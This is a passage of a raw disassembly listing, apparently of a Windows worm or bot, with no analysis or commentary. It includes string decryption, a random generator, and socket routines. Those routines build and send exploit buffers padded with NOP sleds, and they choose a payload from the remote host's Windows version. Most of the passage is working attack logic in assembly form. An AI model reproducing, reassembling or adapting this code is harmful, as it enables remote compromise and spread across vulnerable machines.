ecx, [ebp+var_C] lea eax, [ecx+eax+2AD7D2BBh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-14792C6Fh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax] add eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [ecx], eax mov eax, [ebp+arg_0] mov eax, [eax+4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] mov [ecx+4], eax mov eax, [ebp+arg_0] mov eax, [eax+8] add eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [ecx+8], eax mov eax, [ebp+arg_0] mov eax, [eax+0Ch] add eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx+0Ch], eax leave retn sub_40F3CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410244 proc near ; CODE XREF: sub_40F3CE+Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_410263 ; --------------------------------------------------------------------------- loc_410253: ; CODE XREF: sub_410244+66j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_410263: ; CODE XREF: sub_410244+Dj mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnb short locret_4102AC mov eax, [ebp+arg_4] add eax, [ebp+var_8] movzx eax, byte ptr [eax] mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+1] shl ecx, 8 or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+2] shl ecx, 10h or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+3] shl ecx, 18h or eax, ecx mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [edx+ecx*4], eax jmp short loc_410253 ; --------------------------------------------------------------------------- locret_4102AC: ; CODE XREF: sub_410244+25j leave retn sub_410244 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4102AE proc near ; CODE XREF: .text:004168D0p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push 0F0000000h push 1 push 0 push 0 lea eax, [ebp+var_4] push eax call ds:dword_417024 ; CryptAcquireContextA push offset dword_41EADC push 4 push [ebp+var_4] call ds:dword_417020 ; CryptGenRandom push offset dword_41EAE0 push 4 push [ebp+var_4] call ds:dword_417020 ; CryptGenRandom push offset dword_41EAE4 push 4 push [ebp+var_4] call ds:dword_417020 ; CryptGenRandom push offset dword_41EAE8 push 4 push [ebp+var_4] call ds:dword_417020 ; CryptGenRandom push 0 push [ebp+var_4] call ds:dword_41701C ; CryptReleaseContext leave retn sub_4102AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410318 proc near ; CODE XREF: sub_4103F5+6p ; sub_410422+6p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi lock xadd dword_41EADC, eax add eax, ebx lock xadd dword_41EAE0, eax add eax, ecx lock xadd dword_41EAE4, eax add eax, edx lock xadd dword_41EAE8, eax add eax, esi lock xadd dword_41EADC, eax add eax, edi lock xadd dword_41EAE0, eax add eax, ebp lock xadd dword_41EAE4, eax add eax, esp lock xadd dword_41EAE8, eax call sub_416B64 ; clock mov [ebp+var_4], eax mov eax, [ebp+var_4] lock xadd dword_41EADC, eax lock xadd dword_41EAE0, eax lock xadd dword_41EAE4, eax lock xadd dword_41EAE8, eax add ecx, ebx ror ebx, cl lock xadd dword_41EAE4, ebx add ecx, ecx ror ecx, cl lock xadd dword_41EAE0, ecx add ecx, edx ror edx, cl lock xadd dword_41EADC, edx rol eax, cl add ecx, eax ror ebx, cl add ecx, ebx ror ecx, cl add ecx, 211h rol edx, cl add ecx, edx lock xadd dword_41EAE8, edx lock xadd dword_41EAE4, ecx lock xadd dword_41EAE0, ebx lock xadd dword_41EADC, eax pop edi pop esi pop ebx leave retn sub_410318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4103F5 proc near ; CODE XREF: sub_4020C2+10Bp ; sub_4040E8+2Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAE8, eax mov ecx, [ebp+arg_4] sub ecx, [ebp+arg_0] xor edx, edx inc ecx div ecx mov eax, edx add eax, [ebp+arg_0] pop edi pop esi pop ebx pop ebp retn sub_4103F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410422 proc near ; CODE XREF: sub_40CF2F:loc_40CFBCp ; sub_40D871+D3Fp ... push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAE8, eax pop edi pop esi pop ebx pop ebp retn sub_410422 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41043F proc near ; CODE XREF: sub_4055E5+715p ; sub_4055E5+78Bp push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAE4, eax and eax, 0FFFFh pop edi pop esi pop ebx pop ebp retn sub_41043F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410461 proc near ; CODE XREF: sub_4104A3+42p ; sub_4125DF:loc_4126B8p push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAE0, eax and eax, 0FFh pop edi pop esi pop ebx pop ebp retn sub_410461 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410483 proc near ; CODE XREF: sub_4055E5+72Bp ; sub_40D7E5+57p push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EADC, eax and eax, 1 pop edi pop esi pop ebx pop ebp retn sub_410483 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4104A3 proc near ; CODE XREF: sub_40A9CF+D4Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_4104AF jmp short locret_4104FF ; --------------------------------------------------------------------------- loc_4104AF: ; CODE XREF: sub_4104A3+8j mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4104B5: ; CODE XREF: sub_4104A3+34j cmp [ebp+arg_4], 3 jbe short loc_4104D9 call sub_410422 mov ecx, [ebp+var_4] mov [ecx], eax mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+arg_4], eax jmp short loc_4104B5 ; --------------------------------------------------------------------------- loc_4104D9: ; CODE XREF: sub_4104A3+16j mov eax, [ebp+var_4] mov [ebp+arg_0], eax loc_4104DF: ; CODE XREF: sub_4104A3+5Aj cmp [ebp+arg_4], 0 jbe short locret_4104FF call sub_410461 mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_4] dec eax mov [ebp+arg_4], eax jmp short loc_4104DF ; --------------------------------------------------------------------------- locret_4104FF: ; CODE XREF: sub_4104A3+Aj ; sub_4104A3+40j leave retn sub_4104A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410501 proc near ; CODE XREF: sub_403260+36p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jnz short loc_410510 xor eax, eax jmp short locret_41055D ; --------------------------------------------------------------------------- loc_410510: ; CODE XREF: sub_410501+9j cmp [ebp+arg_10], 0 jnz short loc_41051C mov eax, [ebp+arg_4] mov [ebp+arg_10], eax loc_41051C: ; CODE XREF: sub_410501+13j push [ebp+arg_10] push [ebp+arg_4] call sub_4103F5 pop ecx pop ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] mov [ebp+var_4], eax loc_410532: ; CODE XREF: sub_410501+57j cmp [ebp+var_4], 0 jbe short loc_41055A push [ebp+arg_C] push [ebp+arg_8] call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax jmp short loc_410532 ; --------------------------------------------------------------------------- loc_41055A: ; CODE XREF: sub_410501+35j mov eax, [ebp+var_8] locret_41055D: ; CODE XREF: sub_410501+Dj leave retn sub_410501 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41055F proc near ; CODE XREF: .text:004168E1p var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset byte_41EAF0 call sub_40F26E pop ecx pop ecx lea esi, byte_41EAF0 mov edi, esi push 10h pop ecx loc_41059F: ; CODE XREF: sub_41055F+47j lodsb or eax, 80h stosb loop loc_41059F pop edi pop esi pop ebx leave retn sub_41055F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105AD proc near ; CODE XREF: sub_406E8E+C6p ; sub_406E8E+14Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] cmp eax, 7Fh jle short loc_4105BE jmp short locret_4105F9 ; --------------------------------------------------------------------------- loc_4105BE: ; CODE XREF: sub_4105AD+Dj and [ebp+var_4], 0 jmp short loc_4105CB ; --------------------------------------------------------------------------- loc_4105C4: ; CODE XREF: sub_4105AD+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4105CB: ; CODE XREF: sub_4105AD+15j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short locret_4105F9 mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, byte_41EAF0[edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4105C4 ; --------------------------------------------------------------------------- locret_4105F9: ; CODE XREF: sub_4105AD+Fj ; sub_4105AD+29j leave retn sub_4105AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105FB proc near ; CODE XREF: sub_401000+4Ap ; sub_4043E9+1Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] cmp eax, 7Fh jg short loc_41060C jmp short locret_410647 ; --------------------------------------------------------------------------- loc_41060C: ; CODE XREF: sub_4105FB+Dj and [ebp+var_4], 0 jmp short loc_410619 ; --------------------------------------------------------------------------- loc_410612: ; CODE XREF: sub_4105FB+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_410619: ; CODE XREF: sub_4105FB+15j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short locret_410647 mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, byte_41EAF0[edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_410612 ; --------------------------------------------------------------------------- locret_410647: ; CODE XREF: sub_4105FB+Fj ; sub_4105FB+29j leave retn sub_4105FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410649 proc near ; DATA XREF: .data:off_41CCFEo var_1B78 = dword ptr -1B78h var_1B74 = byte ptr -1B74h var_B74 = byte ptr -0B74h var_B6C = dword ptr -0B6Ch var_B64 = dword ptr -0B64h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = byte ptr -36Ch var_280 = byte ptr -280h var_276 = byte ptr -276h var_272 = byte ptr -272h var_23A = byte ptr -23Ah var_236 = byte ptr -236h var_232 = byte ptr -232h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1B78h call sub_416BC0 push 48h push offset dword_41A7B0 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 0EA60h mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_410686 jmp locret_410B50 ; --------------------------------------------------------------------------- loc_410686: ; CODE XREF: sub_410649+36j push 0 push 1000h lea eax, [ebp+var_1B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call ds:dword_417248 ; recv push 7 push offset a__ ; "\r\n\\_/." mov eax, [ebp+arg_0] push dword ptr [eax+2Ah] mov eax, [ebp+arg_0] add eax, 146h push eax mov eax, [ebp+arg_0] add eax, 0C6h push eax mov eax, [ebp+arg_0] push dword ptr [eax+0C2h] push 200h lea eax, [ebp+var_200] push eax call sub_4125DF add esp, 20h mov [ebp+var_370], eax cmp [ebp+var_370], 0 jnz short loc_4106F0 jmp locret_410B50 ; --------------------------------------------------------------------------- loc_4106F0: ; CODE XREF: sub_410649+A0j and [ebp+var_374], 0 jmp short loc_410706 ; --------------------------------------------------------------------------- loc_4106F9: ; CODE XREF: sub_410649+E1j mov eax, [ebp+var_374] inc eax mov [ebp+var_374], eax loc_410706: ; CODE XREF: sub_410649+AEj cmp [ebp+var_374], 168h jge short loc_41072C push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_374] mov [ebp+ecx+var_36C], al jmp short loc_4106F9 ; --------------------------------------------------------------------------- loc_41072C: ; CODE XREF: sub_410649+C7j push 0Ah push offset dword_41A8A0 lea eax, [ebp+var_280] push eax call sub_416B52 ; memcpy add esp, 0Ch push 2 push offset dword_41A8F0 lea eax, [ebp+var_276] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41A8E8 lea eax, [ebp+var_272] push eax call sub_416B52 ; memcpy add esp, 0Ch push 2 push offset dword_41A8EC lea eax, [ebp+var_23A] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41A8E4 lea eax, [ebp+var_236] push eax call sub_416B52 ; memcpy add esp, 0Ch push 0Bh push offset dword_41A894 lea eax, [ebp+var_232] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, 3E6h sub eax, [ebp+var_370] mov [ebp+var_204], eax and [ebp+var_1B78], 0 push 18h push offset dword_41A7FC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 18h mov [ebp+var_1B78], eax push 44h push offset dword_41A818 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 44h mov [ebp+var_1B78], eax push 20h push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 20h mov [ebp+var_1B78], eax push 4 push offset dword_41A8AC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset dword_41A8E0 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset dword_41A8D8 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset dword_41A8DC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 58h push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 58h mov [ebp+var_1B78], eax push 6 push offset dword_41A8B4 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 6 mov [ebp+var_1B78], eax push 8 push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 8 mov [ebp+var_1B78], eax push 4 push offset dword_41A8BC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 6 push offset dword_41A8C4 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 6 mov [ebp+var_1B78], eax push [ebp+var_204] push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, [ebp+var_204] mov [ebp+var_1B78], eax push [ebp+var_370] lea eax, [ebp+var_200] push eax mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, [ebp+var_370] mov [ebp+var_1B78], eax push 168h lea eax, [ebp+var_36C] push eax mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 168h mov [ebp+var_1B78], eax push 0Ah push offset off_41A8CC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 0Ah mov [ebp+var_1B78], eax push 32h push offset dword_41A860 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 32h mov [ebp+var_1B78], eax mov eax, [ebp+var_1B78] mov [ebp+var_B6C], eax mov eax, [ebp+var_1B78] sub eax, 18h mov [ebp+var_B64], eax push [ebp+var_1B78] lea eax, [ebp+var_B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 0EA60h mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_410B36 jmp short locret_410B50 ; --------------------------------------------------------------------------- loc_410B36: ; CODE XREF: sub_410649+4E9j push 0 push 1000h lea eax, [ebp+var_1B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call ds:dword_417248 ; recv locret_410B50: ; CODE XREF: sub_410649+38j ; sub_410649+A2j ... leave retn sub_410649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410B52 proc near ; DATA XREF: .data:0041CD38o var_104C = byte ptr -104Ch var_FC6 = byte ptr -0FC6h var_BDE = byte ptr -0BDEh var_B9E = byte ptr -0B9Eh var_B7C = dword ptr -0B7Ch var_B78 = byte ptr -0B78h var_AF2 = byte ptr -0AF2h var_88E = byte ptr -88Eh var_882 = byte ptr -882h var_85E = byte ptr -85Eh var_852 = byte ptr -852h var_82E = byte ptr -82Eh var_80C = byte ptr -80Ch var_7CC = byte ptr -7CCh var_7C8 = byte ptr -7C8h var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 104Ch call sub_416BC0 push 7 push offset a__ ; "\r\n\\_/." mov eax, [ebp+arg_0] push dword ptr [eax+2Ah] mov eax, [ebp+arg_0] add eax, 146h push eax mov eax, [ebp+arg_0] add eax, 0C6h push eax mov eax, [ebp+arg_0] push dword ptr [eax+0C2h] push 200h lea eax, [ebp+var_204] push eax call sub_4125DF add esp, 20h mov [ebp+var_20C], eax cmp [ebp+var_20C], 0 jnz short loc_410BAF jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410BAF: ; CODE XREF: sub_410B52+56j push 89h push offset dword_41AF50 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410BEF jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410BEF: ; CODE XREF: sub_410B52+96j push 0A8h push offset dword_41AFDC mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410C2F jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410C2F: ; CODE XREF: sub_410B52+D6j push 0DEh push offset dword_41B088 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410C6F jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410C6F: ; CODE XREF: sub_410B52+116j movsx eax, [ebp+var_7CC] sub eax, 30h mov [ebp+var_208], al movsx eax, [ebp+var_7C8] sub eax, 30h mov [ebp+var_4], al push 3Eh push offset dword_41B168 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410CC9 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410CC9: ; CODE XREF: sub_410B52+170j push 60h push offset dword_41B1A8 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410D06 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410D06: ; CODE XREF: sub_410B52+1ADj push 0A0h push offset dword_41B20C mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410D46 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410D46: ; CODE XREF: sub_410B52+1EDj movsx eax, [ebp+var_208] cmp eax, 5 jnz loc_410E71 movsx eax, [ebp+var_4] cmp eax, 1 jnz loc_410E71 push 86h push offset dword_41B2B0 lea eax, [ebp+var_B78] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+var_20C] lea eax, [ebp+var_204] push eax lea eax, [ebp+var_AF2] push eax call sub_416B52 ; memcpy add esp, 0Ch push 0 mov eax, 264h sub eax, [ebp+var_20C] add eax, 60h push eax mov eax, [ebp+var_20C] lea eax, [ebp+eax+var_AF2] push eax call sub_410F60 add esp, 0Ch push 4 push offset dword_41B410 lea eax, [ebp+var_88E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_882] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_85E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_852] push eax call sub_416B52 ; memcpy add esp, 0Ch push 20h push offset dword_41B338 lea eax, [ebp+var_82E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 36Ah lea eax, [ebp+var_B78] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 400h call ds:dword_41709C ; Sleep push 36Ah lea eax, [ebp+var_B78] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410E71: ; CODE XREF: sub_410B52+1FEj ; sub_410B52+20Bj movsx eax, [ebp+var_208] cmp eax, 5 jnz short loc_410E85 movsx eax, [ebp+var_4] test eax, eax jz short loc_410E95 loc_410E85: ; CODE XREF: sub_410B52+329j movsx eax, [ebp+var_208] cmp eax, 4 jnz locret_410F5E loc_410E95: ; CODE XREF: sub_410B52+331j push 86h push offset dword_41B35C lea eax, [ebp+var_104C] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, 3E8h sub eax, [ebp+var_20C] push eax push 90h lea eax, [ebp+var_FC6] push eax call sub_416B6A ; memset add esp, 0Ch push [ebp+var_20C] lea eax, [ebp+var_204] push eax lea eax, [ebp+var_BDE] sub eax, [ebp+var_20C] push eax call sub_416B52 ; memcpy add esp, 0Ch and [ebp+var_B7C], 0 jmp short loc_410F06 ; --------------------------------------------------------------------------- loc_410EF9: ; CODE XREF: sub_410B52+3DAj mov eax, [ebp+var_B7C] inc eax mov [ebp+var_B7C], eax loc_410F06: ; CODE XREF: sub_410B52+3A5j cmp [ebp+var_B7C], 10h jge short loc_410F2E push 4 push offset dword_41B408 mov eax, [ebp+var_B7C] lea eax, [ebp+eax*4+var_BDE] push eax call sub_416B52 ; memcpy add esp, 0Ch jmp short loc_410EF9 ; --------------------------------------------------------------------------- loc_410F2E: ; CODE XREF: sub_410B52+3BBj push 20h push offset dword_41B3E4 lea eax, [ebp+var_B9E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4CEh lea eax, [ebp+var_104C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch locret_410F5E: ; CODE XREF: sub_410B52+58j ; sub_410B52+98j ... leave retn sub_410B52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F60 proc near ; CODE XREF: sub_410B52+265p var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_8], 0 jnz short loc_410FA4 and [ebp+var_4], 0 jmp short loc_410F79 ; --------------------------------------------------------------------------- loc_410F72: ; CODE XREF: sub_410F60+3Dj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_410F79: ; CODE XREF: sub_410F60+10j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_410F9F push 20h push 0 call sub_4103F5 pop ecx pop ecx imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov al, byte_41BB00[eax] mov [ecx], al jmp short loc_410F72 ; --------------------------------------------------------------------------- loc_410F9F: ; CODE XREF: sub_410F60+1Fj jmp locret_41102D ; --------------------------------------------------------------------------- loc_410FA4: ; CODE XREF: sub_410F60+Aj cmp [ebp+arg_8], 7Fh jnz short loc_410FDF and [ebp+var_8], 0 jmp short loc_410FB7 ; --------------------------------------------------------------------------- loc_410FB0: ; CODE XREF: sub_410F60+7Bj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_410FB7: ; CODE XREF: sub_410F60+4Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jnb short loc_410FDD push 5 push 0 call sub_4103F5 pop ecx pop ecx imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov al, byte_41BB00[eax] mov [ecx], al jmp short loc_410FB0 ; --------------------------------------------------------------------------- loc_410FDD: ; CODE XREF: sub_410F60+5Dj jmp short locret_41102D ; --------------------------------------------------------------------------- loc_410FDF: ; CODE XREF: sub_410F60+48j and [ebp+var_C], 0 loc_410FE3: ; CODE XREF: sub_410F60+ADj ; sub_410F60+CBj mov eax, [ebp+var_C] cmp eax, [ebp+arg_4] jnb short locret_41102D push 20h push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_10], al movsx eax, [ebp+var_10] imul eax, 5 mov ecx, 